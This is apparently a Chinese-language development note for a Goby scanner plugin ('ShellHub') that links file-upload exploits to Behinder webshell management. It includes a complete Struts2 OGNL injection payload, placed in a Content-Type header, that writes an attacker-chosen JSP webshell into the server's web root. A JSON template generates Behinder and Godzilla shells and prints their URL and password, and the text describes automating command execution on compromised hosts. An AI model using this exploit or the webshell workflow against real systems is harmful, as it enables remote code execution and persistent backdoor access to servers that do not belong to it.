要想达到能一键管理的效果,只需要让文件上传类漏洞的 Exp 返回信息中包含: webshell 地址,webshell 连接密码,webshell 连接工具即可,如下示例:
WebShell URL: http://vulfocus.fofa.so:44482/kGMklMBK.jsp
Password: JCsiJt
WebShell tool: Behinder v3.0
2.1 go 代码 Exp 输出示例
expResult.Success = true
// 需要带上换行
expResult.Output = "Webshell: " + expResult.HostInfo.FixedHostInfo + "/xxxx.jsp\n"
expResult.Output += "Password:f8082d22\n"
expResult.Output += "Webshell tool: Behinder v3.0"
2.2 json Exp 示例
"set\_variable": [
"file|genshell|exp|B:jsp"
]
// file 代表变量名,可随意指定,该变量实际是一个数组,在http请求头中或请求体时,其值为一个形如
// <?php echo md5(随机值);unlink(\_\_FILE\_\_);?>
// exp 代表上传一个 webshell
// B:jsp 代表生成冰蝎的 jsp 马,同理还有 G:jspRaw 代表哥斯拉的 raw 类型的 jsp 马
"SetVariable": [
"output|define|shell_info|/xx/yy/{{{随机shell文件名变量}}}
]
// 在 EXP 模式下,在上传了一个 webshell 后,与之配套的就是打印出该 shell 的
// 连接 URL ,连接 密码(或密钥)
// shell\_info 就是用来打印提示信息的,它会帮助你打印出如下这种输出
// WebShell URL: http://vulfocus.fofa.so:44482/kGMklMBK.jsp
// Password: JCsiJt
// WebShell tool: Behinder v3.0
// 第四部分只需要填入 shell 的相对路径即可,如 /xx/yy/{{{随机shell文件名变量}}}
"ExploitSteps": [ "AND", { "Request":{ "set\_variable":[ "name|rand|str|8", "name|name|concat|.jsp", "file|genshell|exp|B:jsp" ],
"method":"POST",
"uri":"/",
"follow\_redirect":true,
"header":{
"Content-Type":"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT\_MEMBER\_ACCESS).(#\_memberAccess?(#\_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=(@org.apache.struts2.ServletActionContext@getRequest())).(#path1=#req.getRealPath('/')).(#sb=(new java.lang.StringBuilder(#path1))).(#path=#sb.append('/{{{name}}}')).(#shell='{{{file}}}').(#file=new java.io.File(#path)).(#fw=new java.io.FileWriter(#file)).(#fw.write(#shell)).(#fw.flush()).(#fw.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getWriter())).(#ros.print('UPLO')).(#ros.println('AD-OK')).(#ros.flush())}"
},
"data\_type":"text",
"data":""
},
"ResponseTest":{
"type":"group",
"operation":"AND",
"checks":[ { "type":"item", "variable":"$body", "operation":"contains", "value":"UPLOAD-OK", "bz":"" } ]
},
"SetVariable":[ "output|define|shell\_info|/{{{name}}}" ]
}
]
2.3 ShellHub功能点
在写这个插件之初,我们的目的就是为了能连接主流的 webshell ,用于打通漏洞利用流程,后续方便通过代码直接操作 webshell ,比如在获取到 webshell 后自动执行我们指定的命令组、自动下载并执行sh脚本获取系统信息、甚至是上传一些工具直接进行扫描等等。
目前主流的 Webshell 管理工具,冰蝎 、哥斯拉、蚁剑 三足鼎立,思索再三,最后在用户的使用范围广度和习惯上,我们选择了先实现连接冰蝎马。实现的效果就是使用插件可以直接连接冰蝎马(当然目前还有很多不完美的地方),下面是插件目前支持的功能点
| 支持的功能点 | JSPX | JSP | PHP | ASPX | ASP |
|---|---|---|---|---|---|
| 基本信息 | √ | √ | √ | √ | √ |
| 文件管理(部分) | √ | √ | √ | √ | √ |
| 命令执行 | √ | √ | √ | √ | √ |
| 待续… |
0×03 小结
关于功能点的选择上,我们也没有选择一股脑实现冰蝎已有的全部功能,关于这一点,我们的考虑是,术业有专攻,有冰蝎其他功能需求的可以直接使用冰蝎客户端进行管理,因此我们也打印出了 webshell 的连接地址和密码。当然, 如果用户在使用过程中有其他的需求,也可以与我们交流。
提示:由于冰蝎使用广泛,其中的 Csharp payload 更是为 dll 文件,存在被报毒的可能性。本插件只修改了 dll 的文件名。
由于本插件需适配前端 UI 及交互,使用此插件需下载 Goby 内测版 Beta 1.9.307
内测版本获取:
- 微信群:公众号发暗号“加群”。
插件开发文档: